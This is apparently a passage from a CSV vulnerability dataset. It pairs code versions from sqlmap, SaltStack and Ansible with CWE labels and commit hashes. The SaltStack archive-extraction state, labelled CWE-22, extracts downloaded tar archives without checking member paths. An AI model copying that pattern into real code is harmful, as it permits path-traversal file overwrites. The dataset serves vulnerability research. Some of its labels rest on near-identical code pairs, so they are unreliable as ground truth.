                try:
                    openFile(dumpFileName, ""w+b"").close()
                except SqlmapSystemException:
                    raise
                except:
                    warnFile = True

                    _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
                        _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
                        dumpFileName = os.path.join(dumpDbPath, ""%s-%s.%s"" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, ""%s.%s"" % (_, conf.dumpFormat.lower()))
            else:
                appendToFile = any((conf.limitStart, conf.limitStop))

                if not appendToFile:
                    count = 1
                    while True:
                        candidate = ""%s.%d"" % (dumpFileName, count)
                        if not checkFile(candidate, False):
                            try:
                                shutil.copyfile(dumpFileName, candidate)
                            except IOError:
                                pass
                            break
                        else:
                            count += 1

            dumpFP = openFile(dumpFileName, ""wb"" if not appendToFile else ""ab"", buffering=DUMP_FILE_BUFFER_SIZE)

        count = int(tableValues[""__infos__""][""count""])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(list(tableValues.keys()))

        if conf.col:
            cols = conf.col.split(',')
            columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0)

        for column in columns:
            if column != ""__infos__"":
                info = tableValues[column]
                lines = ""-"" * (int(info[""length""]) + 2)
                separator += ""+%s"" % lines

        separator += ""+""
        self._write(""Database: %s\nTable: %s"" % (unsafeSQLIdentificatorNaming(db) if db else ""Current database"", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != ""__infos__"":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == "" "":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == "" "":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, ""<!DOCTYPE html>\n<html>\n<head>\n"")
            dataToDumpFile(dumpFP, ""<meta http-equiv=\""Content-type\"" content=\""text/html;charset=%s\"">\n"" % UNICODE_ENCODING)
            dataToDumpFile(dumpFP, ""<meta name=\""generator\"" content=\""%s\"" />\n"" % VERSION_STRING)
            dataToDumpFile(dumpFP, ""<title>%s</title>\n"" % (""%s%s"" % (""%s."" % db if METADB_SUFFIX not in db else """", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP, ""\n</head>\n<body>\n<table>\n<thead>\n<tr>\n"")

        if count == 1:
            self._write(""[1 entry]"")
        else:
            self._write(""[%d entries]"" % count)

        self._write(separator)

        for column in columns:
            if column != ""__infos__"":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info[""length""])
                blank = "" "" * (maxlength - len(column))

                self._write(""| %s%s"" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, ""%s"" % safeCSValue(column))
                        else:
                            dataToDumpFile(dumpFP, ""%s%s"" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, ""<th>%s</th>"" % getUnicode(cgi.escape(column).encode(""ascii"", ""xmlcharrefreplace"")))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, ""\n</tr>\n</thead>\n<tbody>\n"")

        self._write(""|\n%s"" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, ""\n"" if not appendToFile else """")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = ""console output will be trimmed to ""
            warnMsg += ""last %d rows due to "" % TRIM_STDOUT_DUMP_SIZE
            warnMsg += ""large table size""
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""<tr>"")

            for column in columns:
                if column != ""__infos__"":
                    info = tableValues[column]

                    if len(info[""values""]) <= i:
                        continue

                    if info[""values""][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info[""values""][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info[""length""])
                    blank = "" "" * (maxlength - len(value))
                    self._write(""| %s%s"" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = getText(magic.from_buffer(value, mime=True))
                            if any(mimetype.startswith(_) for _ in (""application"", ""image"")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath)

                                _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                filepath = os.path.join(dumpDbPath, ""%s-%d.bin"" % (_, randomInt(8)))
                                warnMsg = ""writing binary ('%s') content to file '%s' "" % (mimetype, filepath)
                                logger.warn(warnMsg)

                                with open(filepath, ""wb"") as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)

                        except magic.MagicException as ex:
                            logger.debug(getSafeExString(ex))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, ""%s"" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, ""%s%s"" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, ""<td>%s</td>"" % getUnicode(cgi.escape(value).encode(""ascii"", ""xmlcharrefreplace"")))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, ""\n"")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""</tr>\n"")

            self._write(""|"", console=console)

        self._write(""%s\n"" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info(""table '%s.%s' dumped to sqlite3 database '%s'"" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""</tbody>\n</table>\n</body>\n</html>"")
            else:
                dataToDumpFile(dumpFP, ""\n"")
            dumpFP.close()

            msg = ""table '%s.%s' dumped to %s file '%s'"" % (db, table, conf.dumpFormat, dumpFileName)
            if not warnFile:
                logger.info(msg)
            else:
                logger.warn(msg)"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              user=None,
              group=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user
        The user to own each extracted file.

        .. deprecated:: 2014.7.2
            Replaced by ``user`` parameter

    user
        The user to own each extracted file.

        .. versionadded:: 2015.8.0

    group
        The group to own each extracted file.

        .. versionadded:: 2015.8.0

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    # remove this whole block after formal deprecation.
    if archive_user is not None:
        warn_until(
          'Boron',
          'Passing \'archive_user\' is deprecated.'
          'Pass \'user\' instead.'
        )
        if user is None:
            user = archive_user

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(re.sub('[:/\\\\]', '_', if_missing),
                                             archive_format))

    if __opts__['test']:
        source_match = source
    else:
        try:
            source_match = __salt__['file.source_list'](source,
                                                        source_hash,
                                                        __env__)[0]
        except CommandExecutionError as exc:
            ret['result'] = False
            ret['comment'] = exc.strerror
            return ret

    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                '{0} {1} would be downloaded to cache'.format(
                    'One of' if not isinstance(source_match, six.string_types)
                        else 'Archive',
                    source_match
                )
            return ret

        log.debug('%s is not in cache, downloading it', source_match)
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive %s is already in cache', name)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = '{0} {1} would be extracted to {2}'.format(
                'One of' if not isinstance(source_match, six.string_types)
                    else 'Archive',
                source_match,
                name
            )
        return ret

    __salt__['file.makedirs'](name, user=user, group=group)

    log.debug('Extracting {0} to {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.unzip'](filename, name)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if 'bsdtar' in __salt__['cmd.run']('tar --version', python_shell=False):
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=user,
                                               group=group,
                                               recurse=['user', 'group'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    return ret",CWE-22,saltstack/salt,e1b40b3b76b1476fb53d08e6bf44a1312b3fdfa1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              user=None,
              group=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user
        The user to own each extracted file.

        .. deprecated:: Boron
            replaced by standardized `user` parameter.

    user
        The user to own each extracted file.

        .. versionadded:: 2015.8.0

    group
        The group to own each extracted file.

        .. versionadded:: 2015.8.0

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    # remove this whole block after formal deprecation.
    if archive_user is not None:
        warn_until(
          'Boron',
          'Passing \'archive_user\' is deprecated.'
          'Pass \'user\' instead.'
        )
        if user is None:
            user = archive_user

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(re.sub('[:/\\\\]', '_', if_missing),
                                             archive_format))

    if __opts__['test']:
        source_match = source
    else:
        try:
            source_match = __salt__['file.source_list'](source,
                                                        source_hash,
                                                        __env__)[0]
        except CommandExecutionError as exc:
            ret['result'] = False
            ret['comment'] = exc.strerror
            return ret

    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                '{0} {1} would be downloaded to cache'.format(
                    'One of' if not isinstance(source_match, six.string_types)
                        else 'Archive',
                    source_match
                )
            return ret

        log.debug('%s is not in cache, downloading it', source_match)
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive %s is already in cache', name)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = '{0} {1} would be extracted to {2}'.format(
                'One of' if not isinstance(source_match, six.string_types)
                    else 'Archive',
                source_match,
                name
            )
        return ret

    __salt__['file.makedirs'](name, user=user, group=group)

    log.debug('Extracting {0} to {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.unzip'](filename, name)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if 'bsdtar' in __salt__['cmd.run']('tar --version', python_shell=False):
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=user,
                                               group=group,
                                               recurse=['user', 'group'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    return ret"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_win_file.py,1,"def test_check_perms(tmp_path):
    test_dir = tmp_path / ""test_dir""
    test_dir.mkdir()
    grant_perms = {""Guests"": {""perms"": ""full_control""}}
    ret = {}
    with patch.dict(salt.utils.win_dacl.__opts__, {""test"": False}):
        result = win_file.check_perms(
            path=str(test_dir),
            ret=ret,
            owner=""Guests"",
            grant_perms=grant_perms,
            inheritance=False,
        )

    expected = {
        ""changes"": {
            ""grant_perms"": {
                ""Guests"": {
                    ""permissions"": ""full_control"",
                },
            },
            ""owner"": ""Guests"",
        },
        ""comment"": """",
        ""name"": str(test_dir),
        ""result"": True,
    }

    assert result[""changes""][""grant_perms""] == expected[""changes""][""grant_perms""]
    owner = win_file.get_user(str(test_dir))
    assert owner == ""Guests""
    perms = salt.utils.win_dacl.get_permissions(str(test_dir))
    assert perms[""Not Inherited""][""Guests""][""grant""][""permissions""] == ""Full control""",CWE-703,saltstack/salt,ec83f5d5064c34651766577d35efa4424ac5014c,"def test_check_perms(tmp_path):
    test_dir = tmp_path / ""test_dir""
    test_dir.mkdir()
    grant_perms = {""Guests"": {""perms"": ""full_control""}}
    ret = {}
    with patch.dict(salt.utils.win_dacl.__opts__, {""test"": False}):
        result = win_file.check_perms(
            path=str(test_dir),
            ret=ret,
            owner=""Guests"",
            grant_perms=grant_perms,
        )

    expected = {
        ""changes"": {
            ""grant_perms"": {
                ""Guests"": {
                    ""permissions"": ""full_control"",
                },
            },
            ""owner"": ""Guests"",
        },
        ""comment"": """",
        ""name"": str(test_dir),
        ""result"": True,
    }

    assert result == expected
    owner = win_file.get_user(str(test_dir))
    assert owner == ""Guests""
    perms = salt.utils.win_dacl.get_permissions(str(test_dir))
    assert perms[""Not Inherited""][""Guests""][""grant""][""permissions""] == ""Full control"""
,UNKNOWN,UNKNOWN,lib/ansible/modules/net_tools/basics/uri.py,1,"def main():
    argument_spec = url_argument_spec()
    argument_spec.update(dict(
        dest = dict(required=False, default=None, type='path'),
        url_username = dict(required=False, default=None, aliases=['user']),
        url_password = dict(required=False, default=None, aliases=['password'], no_log=True),
        body = dict(required=False, default=None, type='raw'),
        body_format = dict(required=False, default='raw', choices=['raw', 'json']),
        method = dict(required=False, default='GET', choices=['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'PATCH', 'TRACE', 'CONNECT', 'REFRESH']),
        return_content = dict(required=False, default='no', type='bool'),
        follow_redirects = dict(required=False, default='safe', choices=['all', 'safe', 'none', 'yes', 'no']),
        creates = dict(required=False, default=None, type='path'),
        removes = dict(required=False, default=None, type='path'),
        status_code = dict(required=False, default=[200], type='list'),
        timeout = dict(required=False, default=30, type='int'),
        headers = dict(required=False, type='dict', default={})
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        check_invalid_arguments=False,
        add_file_common_args=True
    )

    url  = module.params['url']
    body = module.params['body']
    body_format = module.params['body_format'].lower()
    method = module.params['method']
    dest = module.params['dest']
    return_content = module.params['return_content']
    creates = module.params['creates']
    removes = module.params['removes']
    status_code = [int(x) for x in list(module.params['status_code'])]
    socket_timeout = module.params['timeout']

    dict_headers = module.params['headers']

    if body_format == 'json':
        # Encode the body unless its a string, then assume it is pre-formatted JSON
        if not isinstance(body, six.string_types):
            body = json.dumps(body)
        lower_header_keys = [key.lower() for key in dict_headers]
        if 'content-type' not in lower_header_keys:
            dict_headers['Content-Type'] = 'application/json'

    # Grab all the http headers. Need this hack since passing multi-values is
    # currently a bit ugly. (e.g. headers='{""Content-Type"":""application/json""}')
    for key, value in six.iteritems(module.params):
        if key.startswith(""HEADER_""):
            module.deprecate('Supplying headers via HEADER_* is deprecated and '
                             'will be removed in a future version. Please use '
                             '`headers` to supply headers for the request')
            skey = key.replace(""HEADER_"", """")
            dict_headers[skey] = value

    if creates is not None:
        # do not run the command if the line contains creates=filename
        # and the filename already exists.  This allows idempotence
        # of uri executions.
        if os.path.exists(creates):
            module.exit_json(stdout=""skipped, since %s exists"" % creates, changed=False, rc=0)

    if removes is not None:
        # do not run the command if the line contains removes=filename
        # and the filename do not exists.  This allows idempotence
        # of uri executions.
        if not os.path.exists(removes):
            module.exit_json(stdout=""skipped, since %s does not exist"" % removes, changed=False, rc=0)

    # Make the request
    resp, content, dest = uri(module, url, dest, body, body_format, method,
                              dict_headers, socket_timeout)
    resp['status'] = int(resp['status'])

    # Write the file out if requested
    if dest is not None:
        if resp['status'] == 304:
            changed = False
        else:
            write_file(module, url, dest, content)
            # allow file attribute changes
            changed = True
            module.params['path'] = dest
            file_args = module.load_file_common_arguments(module.params)
            file_args['path'] = dest
            changed = module.set_fs_attributes_if_different(file_args, changed)
        resp['path'] = dest
    else:
        changed = False

    # Transmogrify the headers, replacing '-' with '_', since variables don't
    # work with dashes.
    # In python3, the headers are title cased.  Lowercase them to be
    # compatible with the python2 behaviour.
    uresp = {}
    for key, value in six.iteritems(resp):
        ukey = key.replace(""-"", ""_"").lower()
        uresp[ukey] = value

    try:
        uresp['location'] = absolute_location(url, uresp['location'])
    except KeyError:
        pass

    # Default content_encoding to try
    content_encoding = 'utf-8'
    if 'content_type' in uresp:
        content_type, params = cgi.parse_header(uresp['content_type'])
        if 'charset' in params:
            content_encoding = params['charset']
        u_content = to_text(content, encoding=content_encoding)
        if 'application/json' in content_type or 'text/json' in content_type:
            try:
                js = json.loads(u_content)
                uresp['json'] = js
            except:
                pass
    else:
        u_content = to_text(content, encoding=content_encoding)

    if resp['status'] not in status_code:
        uresp['msg'] = 'Status code was not %s: %s' % (status_code, uresp.get('msg', ''))
        module.fail_json(content=u_content, **uresp)
    elif return_content:
        module.exit_json(changed=changed, content=u_content, **uresp)
    else:
        module.exit_json(changed=changed, **uresp)",CWE-703,ansible/ansible,b89cb956092e6f28d16010dc887ee2dc46e7855b,"def main():
    argument_spec = url_argument_spec()
    argument_spec.update(dict(
        dest = dict(required=False, default=None, type='path'),
        url_username = dict(required=False, default=None, aliases=['user']),
        url_password = dict(required=False, default=None, aliases=['password'], no_log=True),
        body = dict(required=False, default=None, type='raw'),
        body_format = dict(required=False, default='raw', choices=['raw', 'json']),
        method = dict(required=False, default='GET', choices=['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'PATCH', 'TRACE', 'CONNECT', 'REFRESH']),
        return_content = dict(required=False, default='no', type='bool'),
        follow_redirects = dict(required=False, default='safe', choices=['all', 'safe', 'none', 'yes', 'no']),
        creates = dict(required=False, default=None, type='path'),
        removes = dict(required=False, default=None, type='path'),
        status_code = dict(required=False, default=[200], type='list'),
        timeout = dict(required=False, default=30, type='int'),
        headers = dict(required=False, type='dict', default={})
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        check_invalid_arguments=False,
        add_file_common_args=True
    )

    url  = module.params['url']
    body = module.params['body']
    body_format = module.params['body_format'].lower()
    method = module.params['method']
    dest = module.params['dest']
    return_content = module.params['return_content']
    creates = module.params['creates']
    removes = module.params['removes']
    status_code = [int(x) for x in list(module.params['status_code'])]
    socket_timeout = module.params['timeout']

    dict_headers = module.params['headers']

    if body_format == 'json':
        # Encode the body unless its a string, then assume it is pre-formatted JSON
        if not isinstance(body, six.string_types):
            body = json.dumps(body)
        lower_header_keys = [key.lower() for key in dict_headers]
        if 'content-type' not in lower_header_keys:
            dict_headers['Content-Type'] = 'application/json'

    # Grab all the http headers. Need this hack since passing multi-values is
    # currently a bit ugly. (e.g. headers='{""Content-Type"":""application/json""}')
    for key, value in six.iteritems(module.params):
        if key.startswith(""HEADER_""):
            module.deprecate('Supplying headers via HEADER_* is deprecated and '
                             'will be removed in a future version. Please use '
                             '`headers` to supply headers for the request')
            skey = key.replace(""HEADER_"", """")
            dict_headers[skey] = value

    if creates is not None:
        # do not run the command if the line contains creates=filename
        # and the filename already exists.  This allows idempotence
        # of uri executions.
        if os.path.exists(creates):
            module.exit_json(stdout=""skipped, since %s exists"" % creates, changed=False, rc=0)

    if removes is not None:
        # do not run the command if the line contains removes=filename
        # and the filename do not exists.  This allows idempotence
        # of uri executions.
        if not os.path.exists(removes):
            module.exit_json(stdout=""skipped, since %s does not exist"" % removes, changed=False, rc=0)

    # Make the request
    resp, content, dest = uri(module, url, dest, body, body_format, method,
                              dict_headers, socket_timeout)
    resp['status'] = int(resp['status'])

    # Write the file out if requested
    if dest is not None:
        if resp['status'] == 304:
            changed = False
        else:
            write_file(module, url, dest, content)
            # allow file attribute changes
            changed = True
            module.params['path'] = dest
            file_args = module.load_file_common_arguments(module.params)
            file_args['path'] = dest
            changed = module.set_fs_attributes_if_different(file_args, changed)
        resp['path'] = dest
    else:
        changed = False

    # Transmogrify the headers, replacing '-' with '_', since variables dont
    # work with dashes.
    # In python3, the headers are title cased.  Lowercase them to be
    # compatible with the python2 behaviour.
    uresp = {}
    for key, value in six.iteritems(resp):
        ukey = key.replace(""-"", ""_"").lower()
        uresp[ukey] = value

    try:
        uresp['location'] = absolute_location(url, uresp['location'])
    except KeyError:
        pass

    # Default content_encoding to try
    content_encoding = 'utf-8'
    if 'content_type' in uresp:
        content_type, params = cgi.parse_header(uresp['content_type'])
        if 'charset' in params:
            content_encoding = params['charset']
        u_content = to_text(content, encoding=content_encoding)
        if 'application/json' in content_type or 'text/json' in content_type:
            try:
                js = json.loads(u_content)
                uresp['json'] = js
            except:
                pass
    else:
        u_content = to_text(content, encoding=content_encoding)

    if resp['status'] not in status_code:
        uresp['msg'] = 'Status code was not %s: %s' % (status_code, uresp.get('msg', ''))
        module.fail_json(content=u_content, **uresp)
    elif return_content:
        module.exit_json(changed=changed, content=u_content, **uresp)
    else:
        module.exit_json(changed=changed, **uresp)"
,UNKNOWN,UNKNOWN,salt/modules/rbenv.py,1,"def _rbenv_exec(command, args='', env=None, runas=None, ret=None):
    if not is_installed(runas):
        return False

    binary = _rbenv_bin(runas)
    path = _rbenv_path(runas)

    environ = {}
